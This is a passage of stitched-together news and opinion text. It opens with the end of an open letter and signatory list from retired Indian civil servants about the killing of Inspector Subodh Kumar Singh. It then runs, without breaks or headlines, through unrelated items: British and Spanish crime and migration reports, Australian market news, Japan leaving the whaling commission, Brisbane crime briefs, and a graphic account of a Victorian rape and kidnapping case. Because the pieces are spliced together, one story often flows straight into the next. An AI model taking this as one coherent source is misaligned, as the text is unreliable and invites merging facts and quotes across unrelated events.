police officer and the illegal slaughter of cows and claim that unless both crimes are investigated together it will not be possible to come to any conclusions about the violence of the mob and the murder of a colleague. Ample video graphed evidence exists to show that those engaged in violence and their leaders, as well as those who egged them on, are allowed to roam scot-free while, at the same time, alleged cow killers, against whom not a shred of evidence exists, are taken into custody, just because they are Muslims. Three of the main accused in the mob violence leading to the death of the police officer flaunt their affiliations to the Sangh Parivar and one of them openly declares that the slain police officer was corrupt, friendly with Muslims and anti-Hindu, implying thereby that he deserved his fate. World over, in any civilized society, the killing of a policeman is a more serious offence than any other crime, because it represents an assault on the very basis of that civilisation. It brooks no tolerance and even the most fractious of social and political groups come together to ensure that the perpetrators of such a crime are given exemplary punishment so that no one ever dares to attack the authority of law. In U.P. on the other hand we are witness to the entire administration, presided over by a Chief Minister who flaunts his bigotry as his badge of identity, preparing the ground not for bringing the perpetrators to book but for protecting them as defenders of faith and culture. This is the Rule of Lawlessness. Our colleagues in service, in the Police and the Civil Administration appear, with honourable exceptions, to have capitulated readily to this perverted political order. They seem to have forgotten that their primary allegiance is to the Constitution and the Rule of Law, and that their constitutional status provides them an armour of such extraordinary strength that, had they taken steps to check the growing menace of the Hindutva brigade, they could certainly have prevented the outbreak of violence. Instead they not only allowed these hooligans to grow in confidence and gather political strength, they helped them gain impunity in their lawless actions. .Even now if they a the Chief Secretary, the Director General of Police, the Home Secretary, the District Magistrate and the district police authorities a stand together to uncover the insidious political agenda, identify its masterminds and bring the hooligans involved in the violence to book, they stand a chance to redeem their pledge to the Constitution and live up to the expectations that citizens have of the higher civil services. Our Prime Minister, who is so voluble in his election campaigns and who never tires of telling us of how the Constitution of India is the only holy book he worships, maintains stony silence even as he sees a Chief Minister handpicked by him treat that same Constitution with sheer contempt. It is evident that, for the Sangh Parivar, constitutional morality is of no value and is necessarily subordinate to the ideals of majoritarian supremacy. Never before in recent history has the politics of hate, division and exclusion been so dominant and the poisonous ideology which informs it penetrated so deep into the body politic. Never before has hate been directed with such calculated intent against minority communities, hate which is nursed, aided and abetted by those in power. Violence has been given social and political sanction and perpetrators of violence have been treated with kid gloves while victims have been punished and harassed. This is a critical moment and we cannot take it lying down anymore. We call upon all citizens to unite in a crusade against the politics of hate and division a a politics which aims to destroy the fundamental principles on which our Republic is founded. We ask all citizens to whom constitutional values matter to join us in reasserting our sovereignty as citizens to: Demand the resignation of the Chief Minister for his failure to abide by the Constitution to which he has sworn his allegiance. We know that this can happen, if together, we build a groundswell of public opinion by which we hold him accountable for his conduct and compel him to resign. Remind the Chief Secretary, the Director General of Police, the Home Secretary, and all other members of the higher civil services concerned, of their constitutional duty to fearlessly implement the Rule of Law rather than the perverse dictates of their political masters. Request the High Court at Allahabad to take suo motu cognizance of this incident and order a judicial enquiry supervised by them to uncover the true facts, expose the political collusion, fix responsibility and recommend action. Work towards a citizen-led national campaign against the politics of hate and violence a in particular, the structural violence directed against Muslims, Adivasis, Dalits and women a violence which finds sustenance in the structures of political power. Salute Inspector Subodh Kumar Singh for his bravery in standing up for constitutional values and refusing to yield to political pressure even at the cost of his life and for setting an example to his children and the younger generation that values matter more than career success. We also acknowledge and applaud the dignity with which his family has faced this crisis and their quiet resolve to uphold the principles for which Subodh Kumar Singh sacrificed his life. His martyrdom will not be in vain. 1. S.P. Ambrose IAS (Retd.) Former Additional Secretary, Ministry of Shipping & Transport, GoI 2. J.L. Bajaj IAS (Retd.) Former Chairman, Administrative Reforms and Decentralisation Commission, Govt. of Uttar Pradesh 3. N. Bala Baskar IAS (Retd.) Former Principal Adviser (Finance), Ministry of External Affairs, GoI 4. Vappala Balachandran IPS (Retd.) Former Special Secretary, Cabinet Secretariat, GoI 5. Gopalan Balagopal IAS (Retd.) Former Special Secretary, Govt. of West Bengal 6. Chandrashekhar Balakrishnan IAS (Retd.) Former Secretary, Coal, GoI 7. Meeran C Borwankar IPS (Retd.) Former DGP, Bureau of Police Research and Development, GoI 8. Ravi Budhiraja IAS (Retd.) Former Chairman, Jawaharlal Nehru Port Trust, GoI 9. Sundar Burra IAS (Retd.) Former Secretary, Govt. of Maharashtra 10. Kalyani Chaudhuri IAS (Retd.) Former Additional Chief Secretary, Govt. of West Bengal 11. Anna Dani IAS (Retd.) Former Additional Chief Secretary, Govt. of Maharashtra 12. Surjit K. Das IAS (Retd.) Former Chief Secretary, Govt. of Uttarakhand 13. Vibha Puri Das IAS (Retd.) Former Secretary, Ministry of Tribal Affairs, GoI 14. P.R. Dasgupta IAS (Retd.) Former Chairman, Food Corporation of India, GoI 15. Nareshwar Dayal IFS (Retd.) Former Secretary, Ministry of External Affairs and former High Commissioner to the United Kingdom 16. Pradeep K. Deb IAS (Retd.) Former Secretary, Deptt. Of Sports, GoI 17. Nitin Desai IES (Retd.) Former Secretary and Chief Economic Adviser, Ministry of Finance, GoI 18. Keshav Desiraju IAS (Retd.) Former Health Secretary, GoI 19. M.G. Devasahayam IAS (Retd.) Former Secretary, Govt. of Haryana 20. Sushil Dubey IFS (Retd.) Former Ambassador to Sweden 21. K.P. Fabian IFS (Retd.) Former Ambassador to Italy 22. Prabhu Ghate IAS (Retd.) Former Addl. Director General, Department of Tourism, GoI 23. Arif Ghauri IRS (Retd.) Former Commissioner of Income Tax, GoI 24. Gourisankar Ghosh IAS (Retd.) Former Mission Director, National Drinking Water Mission, GoI 25. Hirak Ghosh IAS (Retd.) Former Principal Secretary, Govt. of West Bengal 26. Tuktuk Ghosh IAS (Retd.) Former Special Secretary and Financial Adviser, Ministry of Road Transport & Highways, Shipping & Tourism, GoI 27. Meena Gupta IAS (Retd.) Former Secretary, Ministry of Environment & Forests, GoI 28. Ravi Vira Gupta IAS (Retd.) Former Deputy Governor, Reserve Bank of India 29. Deepa Hari IRS (Resigned) 30. Vivek Harinarain IAS (Retd.) Govt. of Tamil Nadu 31. Sajjad Hassan IAS (Retd.) Former Commissioner (Planning), Govt. of Manipur 32. Dr. M.A. Ibrahimi IAS (Retd.) Former Chief Secretary (rank), Govt. of Bihar 33. Kamal Jaswal IAS (Retd.) Former Secretary, Department of Information Technology, GoI 34. Jagdish Joshi IAS (Retd.) Former Additional Chief Secretary (Planning), Govt. of Maharashtra 35. Najeeb Jung IAS (Retd.) Former Lieutenant Governor, Delhi 36. K. John Koshy IAS (Retd.) Former State Chief Information Commissioner, West Bengal 37. Ajai Kumar Indian Forest Service (Retd.) Former Director, Ministry of Agriculture, GoI 38. Arun Kumar IAS (Retd.) Former Chairman, National Pharmaceutical Pricing Authority, GoI 39. Brijesh Kumar IAS (Retd.) Former Secretary, Department of Information Technology, GoI 40. Harsh Mander IAS (Retd.) Govt. of Madhya Pradesh 41. Aditi Mehta IAS (Retd.) Former Additional Chief Secretary, Govt. of Rajasthan 42. Shivshankar Menon IFS (Retd.) Former Foreign Secretary and Former National Security Adviser 43. Sonalini Mirchandani IFS (Resigned) GoI 44. Sunil Mitra IAS (Retd.) Former Secretary, Ministry of Finance, GoI 45. Noor Mohammad IAS (Retd.) Former Secretary, National Disaster Management Authority, Govt. of India 46. Deb Mukharji IFS (Retd.) Former High Commissioner to Bangladesh and former Ambassador to Nepal 47. Shiv Shankar Mukherjee IFS (Retd.) Former High Commissioner to the United Kingdom 48. Pranab S. Mukhopadhyay IAS (Retd.) Former Director, Institute of Port Management, GoI 49. Nagalswamy IA&AS (Retd.) Former Principal Accountant General, Tamil Nadu & Kerala 50. Amitabha Pande IAS (Retd.) Former Secretary, Inter-State Council, GoI 51. Niranjan Pant IA&AS (Retd.) Former Deputy Comptroller & Auditor General of India 52. Alok Perti IAS (Retd.) Former Secretary, Ministry of Coal, GoI 53. T.R. Raghunandan IAS (Retd.) Former Joint Secretary, Ministry of Panchayati Raj, GoI 54. N.K. Raghupathy IAS (Retd.) Former Chairman, Staff Selection Commission, GoI 55. J.P. Rai IAS (Retd.) Former Director General, National Skills Development Agency, GoI 56. V.P. Raja IAS (Retd.) Former Chairman, Maharashtra Electricity Regulatory Commission 57. C. Babu Rajeev IAS (Retd.) Former Secretary, GoI 58. M.Y. Rao IAS (Retd.) 59. Julio Ribeiro IPS (Retd.) Former Adviser to Governor of Punjab & former Ambassador to Romania 60. Aruna Roy IAS (Resigned) 61. Manabendra N. Roy IAS (Retd.) Former Additional Chief Secretary, Govt. of West Bengal 62. Deepak Sanan IAS (Retd.) Former Principal Adviser (AR) to Chief Minister, Govt. of Himachal Pradesh 63. Shyam Saran IFS (Retd.) Former Foreign Secretary and Former Chairman, National Security Advisory Board 64. N.C. Saxena IAS (Retd.) Former Secretary, Planning Commission, GoI 65. Ardhendu Sen IAS (Retd.) Former Chief Secretary, Govt. of West Bengal 66. Aftab Seth IFS (Retd.) Former Ambassador to Japan 67. Ashok Kumar Sharma IFS (Retd.) Former Ambassador to Finland and Estonia 68. Navrekha Sharma IFS (Retd.) Former Ambassador to Indonesia 69. Pravesh Sharma IAS (Retd.) Former Additional Chief Secretary, Govt. of Madhya Pradesh 70. Raju Sharma IAS (Retd.) Former Member, Board of Revenue, Govt. of Uttar Pradesh 71. Rashmi Shukla Sharma IAS (Retd.) Former Additional Chief Secretary, Govt. of Madhya Pradesh 72. K. Ashok Vardhan Shetty IAS (Retd.) Former Vice Chancellor, Indian Maritime University, GoI 73. Rajdip Singh IPS (Retd.) Former Special Director General, Border Security Force, GoI 74. Sujatha Singh IFS (Retd.) Former Foreign Secretary, GoI 75. Tirlochan Singh IAS (Retd.) Former Secretary, National Commission for Minorities, GoI 76. Jawhar Sircar IAS (Retd.) Former Secretary, Ministry of Culture, GoI, & former CEO, Prasar Bharati 77. Narendra Sisodia IAS (Retd.) Former Secretary, Ministry of Finance, GoI 78. Thanksy Thekkekera IAS (Retd.) Former Additional Chief Secretary, Minorities Development, Govt. of Maharashtra 79. P.S.S. Thomas IAS (Retd.) Former Secretary General, National Human Rights Commission 80. Geetha Thoopal IRAS (Retd.) Former General Manager, Metro Railway, Kolkata 81. Hindal Tyabji IAS (Retd.) Former Chief Secretary rank, Govt. of Jammu & Kashmir 82. Ramani Venkatesan IAS (Retd.) Former Director General, YASHADA, Govt. of Maharashtra 83. Arvind Verma IPS (Resigned) London builder David Mulcahy is facing life behind bars after being convicted at the Old Bailey of raping and killing three women. He was also found guilty of twelve sex attacks on women aged from 16 to 32 in the 1980s. Mulcahy was found guilty of all charges - three murders, seven rapes and five charges of conspiracy to rape - and will be sentenced later. "We have listened to the most dreadful accounts of what happened to those women - particularly the murders," said the Recorder of London Judge Michael Hyam. Mulcahy and childhood friend John Duffy formed a "unique but wicked bond" to rape and kill. Duffy - known as the Railway Rapist - was caught and jailed for life in 1988. Mulcahy, 41, escaped justice and continued to live an apparently normal life with his wife and children in north London. But the ties were finally broken when Duffy named Mulcahy as the unidentified second man who had taken part in a series of rapes and murders of terrified women. Mulcahy, a builder, of Chalk Farm, north London, had denied raping and murdering three women during 1985 and 1986. Alison Day, 19, was strangled at Hackney Wick, east London, on December 29 1985. Schoolgirl Maartje Tamboezer, 15, was also strangled near her home in Horsley, Surrey, on April 17, 1986. Anne Lock, 29, was killed - probably suffocated - as she returned home to Brookmans Park, Hertfordshire. Spain's Maritime Rescue Service has found 11 dead migrants in a boat off the country's southern coast and rescued more than 30 other passengers. All of the migrants were from sub-Saharan Africa, a spokeswoman with the service said. A tweet sent by the Spanish Red Cross said that two women, one of them pregnant, were among those who died. Rescuers had been looking for the boat about 11 miles south of the city of Almeria for two days, said the Maritime Rescue Service official. A Spanish navy scientific research vessel found the drifting boat in the area, east of the Strait of Gibraltar, in the early hours of Thursday. Twenty-nine men and four women were still alive on board, but one of the men later died in hospital in Almeria. The service said it is also looking for three more boats in the so-called Alboran Sea, two of them carrying more than 55 migrants each. According to the UN, more than 61,500 migrants, who often flee violence or poverty, have arrived in Spain since the beginning of 2018, nearly 55,000 of them by sea. The Chief Coroner has called for armed police to be stationed at all gates into Parliament in the wake of the Westminster terror attack. Mark Lucraft QC raised a string of "concerns" after ruling that four members of the public and PC Keith Palmer were unlawfully killed by terrorist Khalid Masood. On March 22 last year, Masood, 52, mowed down pedestrians on Westminster Bridge, killing four and seriously injuring 29, before stabbing unarmed Pc Palmer to death at the Palace of Westminster. On Thursday, Mr Lucraft issued a detailed report on "action to prevent future deaths", including stationing armed guards at the gates. He wrote: "It was a matter of concern that, at the time of the attack, one of the most vulnerable and public entrances to the Parliamentary Estate was not protected by armed police. In my view, the Metropolitan Police Service should consider imposing a standing order that there should be armed officers stationed at all open public entry points to the Palace of Westminster and introducing a provision that this standing order may only be varied with the written approval of an officer of very senior rank. In the autumn, the Old Bailey inquest heard how Masood stabbed unarmed Pc Palmer, who was guarding the gates of the Palace of Westminster with other unarmed colleagues. Masood's rampage was stopped by a close protection officer, identified only as SA74, who shot him three times with a Glock pistol. The other victims were American tourist Kurt Cochran, 54, retired window cleaner Leslie Rhodes, 75, mother-of-two Aysha Frade, 44, and Romanian designer Andreea Cristea, 31. - Press Association Australian Pharmaceutical Industries Morgan Stanley upgraded Australian Pharmaceutical Industries to "equal weight" after API proposed a merger with rival Sigma Healthcare on December 14. API estimated $60 million of gross financial benefits from the merger, due to synergies between the two companies in pharmacy distribution and back office savings. Lead by analyst Sean Laaman, Morgan Stanley said it saw bulk synergies to come from rationalisation of the distribution centre and network. The broker refrained from rating API overweight due to volatility and merger uncertainty. API attempted this same merger in 2002 and was denied by the ACCC. The ACCC is yet to rule on the current proposal. Australian Pharmaceutical Industries shares closed Thursday's trade 1.1 per cent higher at $1.38. Defensive infrastructure and real estate investment trust stocks were among the market's best performers on Thursday. Goodman Group rose 1.1 per cent to $11.07, Mirvac Group closed 1.3 per cent higher at $2.33, Scentre Group climbed 1 per cent $4.04 and GPT Group advanced 1.6 per cent to $5.63. GTN shares fell 38.6 per cent to $1.08 after the company told investors it was anticipating adjusted earnings before interest tax depreciation and amortisation for the second half of 2018 would be 10 to 15 per cent less than the second half of 2017. Fed funds rate As was widely expected, the Federal Open Market Committee lifted the Fed Funds rate target by a further 25 basis points to a range of 2.25 per cent to 2.5 per cent. The Fed stated that it "judges that some further gradual increases" in the Fed Funds rate would be in time with its policy target. The market reacted negatively to the statement, surprised by the less dovish than expected tone from the FOMC. The market has priced in lower expectations in the past few months, with only two hikes expected in the year ahead based on marker pricing for funds rate futures. Brent crude Brent crude prices recovered slightly on Wednesday but remain under firm pressure. The EIA weekly report showed crude oil stockpiles fell by half a million barrels to 441.5 million barrels last week. Gasoline and distillate inventories also fell on the back of a surge in demand for oil in the US. Crude oil had been trading higher but were slightly lower by the end of the session on the back of the Fed rate hike. Saudi Arabia, meanwhile, reaffirmed its belief that the proposed OPEC+ production cuts would bring the market back into the balance, adding the deal will likely be extended past April. US dollar The US dollar rose sharply after the Federal Open Market Committee lifted interest rates for the fourth time this year and flagged further interest rates in the future. The greenback, which had been weakening prior to the policy statement, rose after investors interpreted the statement as less dovish than they were expecting. Federal Reserve chairman Jerome Powell said he saw little threat to the economy despite the recent downturn in financial markets. The US treasury curve also flattened overnight, with the spread between the two and 10-year bond yields now at 13 basis points. Aussie dollar The Australian dollar slipped below US71 for the first time since November 1 on Thursday following the FOMC's rate rise. Despite recovering above US71 through the morning session, the gains were capped by a slightly disappointing labour market prince. While part time employment surged by 37,000 during November, the unemployment rate ticked slightly higher to 5.1 per cent. The market had been expected the unemployment rate to remain steady at 5 per cent. The labour force figures were the last major economic data point this year. Ramsay Centre staff would be allowed to observe Western civilisation classes at the University of Wollongong but "not for the purpose of assessing" teachers, UOW has revealed. Hiring decisions would be made by consensus between academics from the university and the centre, while Ramsay representatives would also sit on the committee that will decide scholarships, the university said. The University of Wollongong will be home to the Ramsay Centre's Western civilisation course. Credit:Lisa Wachsmuth Angry academics accused the university of secrecy and betrayal after it announced on Monday it had signed a $50m deal to run a Ramsay Centre-funded bachelor of arts in Western civilisation after months of private talks. At the University of Sydney, which is also in talks with the centre, a potential partnership has also been deeply divisive, with academics split over whether it's a welcome cash injection for humanities or an exercise in cultural imperialism. "This is the path of a pirate whaling nation, with a troubling disregard for international rule. We're going to continue to press the international community to bring an end to the unjustified persecution of whales for commercial profit wherever it occurs," she said. HSI urged Japan to "recall their harpoons and not kill whales in Antarctica this summer". 'Japan threat to harpoon IWC' Australian Marine Conservation Society chief executive Darren Kindleysides said in a statement: "After years attempting to force the international community into ending the global whaling ban, Japan will reportedly pull out of the IWC, leaving the prospect that they would hunt whales outside of international control or constraints. "With the Japanese whaling fleet currently killing whales in our Southern Ocean, the Australian government must demand they bring their fleet home immediately. "Japan has failed to bully the IWC into permitting a return to the cruel and outdated industrial whaling of the past. Japan has failed to persuade the international courts to allow them to kill whales under the guise of scientific research. So now Japan is reportedly threatening to turn their back on international efforts to control whaling and conserve whales. A minke whale is unloaded at the Japanese port of Kushiro. Credit:AP "Leaving the IWC would set a very dangerous precedent for other international treaties and conventions. Not satisfied with harpooning whales, it now looks like Japan is threatening to harpoon the future of the IWC. "The IWC has become the driving force for global whale conservation efforts in the 21st century. If Japan is serious about the future of the worlds whales, they would not leave the IWC. "Whales face a greater number of threats today that at any stage in their past. Climate change, entanglement in fishing nets, plastic pollution, underwater noise and ship strikes threaten our ocean giants. Our whales need countries to work together, not go it alone." Loading Call to pressure Canberra Greens Healthy Oceans spokesman, Peter Whish-Wilson, called on Canberra to put urgent diplomatic pressure on Japan and to send a customs vessel to the Southern Ocean, as promised before the 2013 election, given the governments strong opposition to all forms of commercial and scientific whaling. "This will be an extraordinary rogue move by Japan that slaps the rest of the international community, who actually uphold a strong commitment to rules-based international order, in the face," Senator Whish-Wilson said. "This goes far beyond Japans farce of hiding behind scientific research to slaughter hundreds of minke whales in the Antarctic. They will be taking this to a whole new, and disgusting, level if they allow the reintroduction of commercial whaling. "Right now, Japanese whalers are not too far from Australia, slaughtering hundreds of whales in an Antarctic marine sanctuary, despite international condemnation and in breach of Australian law. "Whether its in the Antarctic, in Australia, or even in Japan, commercial whaling should not be tolerated. "I call on the federal government to take a united stand with the majority of Australians who oppose this barbaric slaughter, and make it clear to Japan that we do not support their withdrawal from the IWC or their decision to resume commercial whaling." Greenpeace Australia Pacific condemned the news and urged Australian Prime Minister Scott Morrison to step in. "This snub to multilateralism is unacceptable and deeply concerning, but let us not forget that the Japanese fleet has been conducting commercial whaling under the guise of scientific research for many years," Greenpeace senior campaigner Nathaniel Pelle said. "Prime Minister Scott Morrison should contact Japanese Prime Minister Shinzo Abe directly and ask him to return to the international negotiating table." Environmentalist Bob Brown said Tokyos withdrawal from the IWC was a bloody-minded snub to Australian culture which abhors the illegal, cruel and needless killing of whales. "The Australian leader who does the strong, right thing and sends the navy south to protect our whales against Japans illegal operations - and they are in Antarctic waters right now - will get a hugely positive response from Australian voters," he said. 'Scientific whaling' The IWC was established in 1948 under the International Convention for the Regulation of Whaling. Japan joined the organisation in 1951. In 1982, the IWC imposed a moratorium on commercial whaling to take effect from 1986. Japan continued to hunt whales in the Southern Ocean for what it called "scientific research" purposes, but this was seen as a cover for commercial purposes. Japan maintains that most whale species are not endangered and that eating whale is a cherished part of its food culture. It has long threatened to leave the IWC, most recently after the IWC meeting in Brazil in September. It then sought to undermine the international ban on commercial whaling, but after its proposals were rejected by a majority vote, it indicated it might quit. To leave the IWC next year, Japan needs to notify the commission by January 1, Kyodo reported. If Japan notifies the IWC that it is withdrawing, it wouldnt take effect until mid-2019. The former owners of Soundbox Karaoke in Dickson have been fined $20,000 and banned from applying for a liquor licence for 18 months after a series of serious breaches of the venue's liquor licence regulations. The penalties were against the former owners and not against the current operators of the business. The Soundbox karaoke bar in Dickson is now under new ownership. Credit:Soundbox website Presidential member of the ACT administrative tribunal Mary-Therese Daniel called the venue's record "a short history of serious breaches", which included a patron being transported to hospital by ambulance, another being found unconscious in a trail of vomit and patrons violently scuffling with other patrons. Two of the incidents involved a minor. Brisbane's commuters still pay the highest price for fuel compared to the other four major capital cities, a new report from the Australian Competition and Consumer Commission has found. The ACCC's September 2018 quarter report found Brisbane's prices were regularly higher, over the two years up to September, by an average of 3.2 per litre compared with other capital cities. Petrol prices in Brisbane are predicted to drop closer to Christmas. Credit:James Davies Across the September quarter, Brisbane's average fuel prices were 148.8 per litre, 2.6 per litre higher than the average across Sydney, Melbourne, Adelaide and Perth. However, that difference had dropped from the June quarter where prices were on average 4.1 per litre higher. The former chief executive of Ipswich City Council, his wife and two businessmen have all pleaded guilty to corruption on the same day the council announced a new permanent CEO. The Brisbane District Court heard details of the four accused turning on each other by cooperating with the state's crime and corruption watchdog, with one wearing a wire during a coffee meeting with former council chief executive Carl Wulff and recording various incriminating statements. Carl Wulff arrives at the Brisbane District and Supreme Court on Thursday, Credit:Jono Searle/AAP Mr Wulff and business associates, Claude Walker and Wayne Myers, were part of a corrupt agreement between themselves while Mr Wulff's wife, Ms Oxenbridge, allowed her husband to use their joint email account to arrange discreet payments between the trio. Mr Walker allegedly transferred $99,000 to Mr Wulff, with both parties using various companies they were involved with to conceal the transaction. Four teenagers have been arrested following a string of violent carjackings in south Brisbane this week. Police believe two 17-year-olds, a 16-year-old and a 15-year-old are responsible for the two attacks at Yeronga on Tuesday night and another in Runcorn in the early hours of Thursday morning. The carjackers strike at the 7-Eleven on Fairfield Road in Yeronga. Credit:Bianca Stone - Sunrise After a tip off from the public, police stormed a house at Bracken Ridge on Thursday afternoon, where a number of people tried to flee. Police said about seven young men were located before four were arrested. Prison guards returned to work at Woodford on Thursday, after walking off the job demanding action on overcrowding and extra resources. The industrial action followed an alleged attack on a 45-year-old prison officer at Woodford Correctional Centre about 3pm on Tuesday by an inmate who was serving a sentence for grievous bodily harm. A rescue helicopter was sent to Woodford Correctional Centre on Tuesday afternoon. Credit:Seven News The officer was taken to the Royal Brisbane and Women's Hospital and was due to undergo surgery for serious facial fractures when swelling subsided. It is understood the prison officer was allegedly attacked after he told a prisoner he would not be moved from a double-up cell to a single cell. A man accused of torturing and murdering a Brisbane teenager and leaving her body in a barrel on the back of a ute will return to court in March. Zlatko Sikorsky did not appear on Thursday in Beenleigh Magistrates Court, where he is charged with murdering Larissa Beilby, torturing her, deprivation of liberty and interfering with a corpse. The 34-year-old is also accused of detaining the 16-year-old in a vehicle against her will, as well as a dozen other charges including possessing weapons and dangerous drugs, and dangerous operation of a vehicle. A second man, Edward William Ford, 32, from Mountain Creek, charged with being an accessory after the fact to the murder, was also remanded to appear on the same March 20 date. An Australian government official has faced a Sydney court for allegedly importing exotic fish and selling them on the black market online using a fake name. Joseph Ian Lee, 31, appeared in Downing Centre Local Court on Thursday charged with abusing public office, illegally importing goods and possessing illegally imported specimens. Joseph Lee leaves Downing Centre Local Court on Thursday. Credit:AAP/Dean Lewins A Senior Biosecurity Officer at the Department of Agriculture and Water Resources (DAWR), Mr Lee's home was raided by Australian Federal Police on November 12. Police allegedly netted a number of rare fish along with $10,000 in suspected proceeds of crime. Almost eight times a day on average in the past year someone who was on bail breached a family violence intervention order in Victoria, new police statistics show. A total of 2806 family violence intervention orders (IVOs) were broken by people who had been released back into the community on bail in the 12 months to September 2018. Anti-family violence campaigner Rosie Batty says too many offenders already on bail don't comply with IVOs. Credit:Jamila Toderas Domestic violence campaigner Rosie Batty, whose son Luke was murdered by his father in February 2014, said that if highly dangerous perpetrators were prepared to breach their bail, they would not comply with an IVO. "An intervention order is a piece of paper," she said. When Brett Thomas was found dying on a street in the tiny town of Rosedale in the state's south-east he had a 20-centimetre fracture to the back of his head, a badly broken jaw, 20 rib fractures and severe internal bleeding. A litre of blood was pooling in his stomach cavity when he arrived by air at The Alfred hospital where he died from the catastrophic injuries inflicted on him in the dead of the night. The father of two had moved to the farming town of just 1600 a year earlier to be closer to his sons after a relationship breakdown. It would be here he'd soon meet his killer - a lifelong criminal with a raging alcohol addiction and thirst for violence. Murder victim Brett Thomas. Mr Thomas was known to see only the good in people, which made him vulnerable. As a result the 42-year-old was susceptible to falling in with those who preyed on his good nature. "For the hundredth time, I have told you, I dont want this," she said. That rejection sparked a horrific ordeal that lasted three days, where Elena was raped, tortured, kidnapped, bound and driven interstate. She has lived with the trauma since - trauma compounded by a seven-year legal battle that has forced Elena to repeatedly relive the unspeakable nightmare. "Its like a scab that you keep scratching," she says. "Its [picked at] over and over. It doesnt heal." The nightmare begins Elenas rebuff that day angered Wheeldon so much that he slapped her across the face and pulled down her jeans. She fought against him as he tied her to a bed and raped her. When he finished, he apologised and asked whether she would call the police. Still terrified, she told him she forgave him and asked him to turn himself in - something she trusted he would do. It took Elena seven years for her rapist to be convicted. Credit:Justin McManus When she woke the next morning she called her counsellor and a friend, who told her to report it. It was a Sunday and Elena was preparing to go to church when Wheeldon returned. He followed her to the bedroom and pushed her onto the bed. He tied her up again, tortured her with needles and sexually assaulted her. He threatened her family and said: "Wheres your God now, where are your friends?" He then shoved Elena into the boot of her car and started driving. On numerous occasions, he stopped the old Hyundai and moved her to the front seat and forced her to perform sexual acts then put her back in the boot. Paralysed with fear, she pleaded to be released but this just angered Wheeldon. "You can scream as much as you like, no ones going to hear you," court documents reveal him saying. He stopped at a caravan park in Alexandra where he hired a cabin. He covered her mouth with duct tape and her head with a pillowcase, bound her hands and ankles and took a video of her. The next day he drove across the border to New South Wales and stopped in Young, about 150 kilometres from Canberra. He rented a room at a hotel and continued to rape her. He then locked her in a cupboard, turned up the TV volume and drove away. In desperation she eventually pushed her way out and found a hotel receptionist. Her horrific ordeal was finally over. At 5.40pm, about 200 kilometres away, Wheeldon crashed her car. He was taken to hospital where naked photographs of Elena were found on his phone. Police arrested him. Fight for justice Elenas life became robotic. "Just breathe, you make do with what you do," she says. "Survival instincts kick in, you get up, you do, you take the kids to school, just survival. "Its exhausting, so exhausting. I dont know how people do it." Because the offences took place in Victoria and NSW, Elena was forced to endure gruelling court cases on both sides of the border, doubling her anguish. Elena believed her case was pretty black and white. The hotel receptionist was a witness and an examination in hospital supported her account. But when the trial began in Sydney in July 2013, Wheeldon pleaded not guilty, claiming it was all consensual. Elena dreaded preparing her statement for the two-week trial in which she said she had to listen to his "fictitious and evil lies". The jury convicted him of three counts of rape, two of indecent assault, and one count of kidnapping. On October 14, 2013, he was sentenced to 11 years jail with a non-parole period of seven years. Never far from her mind Even though Wheeldon was behind bars, he was never far from Elenas mind: when she made her bed, when his mail arrived in her letterbox. "My kids dont remember what I was like before this," she said in court. "My kids have lost the mum I used to be." On April 13, 2016 - three years after the trial - Wheeldon was finally extradited to Victoria where he faced four charges of rape, one of false imprisonment and one of intentionally causing injury and theft. He again pleaded not guilty and on February 12 this year, the case was listed for trial in Victoria. But on the second day he changed his mind and pleaded guilty. "You know how they say as the victim you get raped twice, once in the incident and then in the court," she says. "Ive gone through NSW, Ive gone through the whole cross questioning. The County Court of Victoria. Credit:Vince Caligiuri "Then you have to wait for Victoria, start all the same verses again. Ive probably gone through it six times maybe." In an emotional impact statement read in court in April, she described ongoing physical ailments, claustrophobia, PTSD, nightmares, flashbacks, anxiety and depression. In August, seven years after her life was violently turned upside down, Wheeldon was sentenced for the rapes and assaults in Victoria. The overall sentence - dating back to 2012 - would be 20 years, with a non-parole period of 14 years. Elena believes Wheeldon used the court system to continue to abuse her. "Hes used the [legal system] to show who is in control. Going in and out, pleading guilty, not guilty - Look, Im in control of you. Hes still showing that." Wheeldon went back to court to try to reduce his sentence. Seven years seems 'tremendously low' On December 5, Elena sits in the Supreme Court of Victoria for what she hopes is the last time. She arrived on her pastors motorbike, wearing a grey suit and white shirt with pearls sewn into the collar. Fidgeting, checking her phone, cracking a joke - shes glad Wheeldons not there. He is appealing to reduce his sentence on the grounds his personality disorder wasn't taken into consideration and the way the sentence was calculated. Wheeldon's barrister, Aaron Shwartz, says the seven-year wait for his sentencing has taken a toll on his client. "Your client for a long time worked to go to trial, which delayed things," Court of Appeal President Chris Maxwell said. Elena wipes her eyes with a tissue when Mr Maxwell mentions the 42-year-old acted "strategically, purposefully" in his "horrific" offending. "To have to serve a minimum of only seven years in Victoria, could be seen as extraordinarily low," Mr Maxwell says. "He's offended while in jail and that mitigates that he has turned a corner," he said. The appeal is rejected. Elena sighs, gives a double thumbs up. "We can only hope he's reflected on the appalling nature of what he did," she says. 'Waiting, waiting and twiddling your thumbs' Barrister John Desmond says he has no doubt the lengthy time frame puts pressure on the victim and the defendant. It can take up to 18 months for trials to be listed because of the courts workload, he says. It took Elena seven years for her rapist to be convicted. Credit:Justin McManus "That is to be regretted and needs to be 'fixed' by government with more court funding." Mr Desmond concedes this case is unusual to say the least and that seven years is a long time for it to be dragged out. He believes authorities should have extradited him earlier. Victorian Attorney-General Jill Hennessy would not comment on individual cases but stated that the state government was improving support for victims of sexual assault by boosting front-line staff numbers and services before, during and after criminal proceedings. Elena understands there needs to be a procedure. She doesn't want sympathy. But she wants change. For a start, she believes she shouldnt have had to go through two criminal justice systems and wonders if he had have kept driving, could it have been three? "Police are doing their jobs, lawyers are doing their jobs, theyre doing what they can with what they are given, they are part of the system, its not really in their hands," she says. "As a victim you are sitting there waiting, waiting and twiddling your thumbs going, whats next? "No wonder the victims give up, because youre like, bugger this." Just hold on, hang in there Elena looks out the window, sinks into the couch. She's more resilient, but tired. "I think as a survivor you live with it all your life, its a scar you live with," she says. "Its how you carry those scars and how you deal with it," she says. "You find different ways not to poke it, it becomes part of who you are, so you are healing." The horrific incident hasnt diluted her relationship with God. "What Wheeldon did, I dont blame God for it," she says. "Not one bit. He was a broken man, its sad. "He wanted a second chance and I gave him the opportunity to have that second chance and it was his loss that he didnt take that," she said. "I actually genuinely feel sorry that he has wasted his life." Elena wont stop sheltering the homeless. She now wants to help other victims. Her concerns echo those of local industry groups and the federal jobs department, which informed the ACT government via a submission that parts of the procurement package were incompatible with Commonwealth law. Loading The Australian Small Business and Family Enterprise Ombudsman, former Liberal chief minister Kate Carnell, has also expressed alarm at the code, saying it imposes an "added and 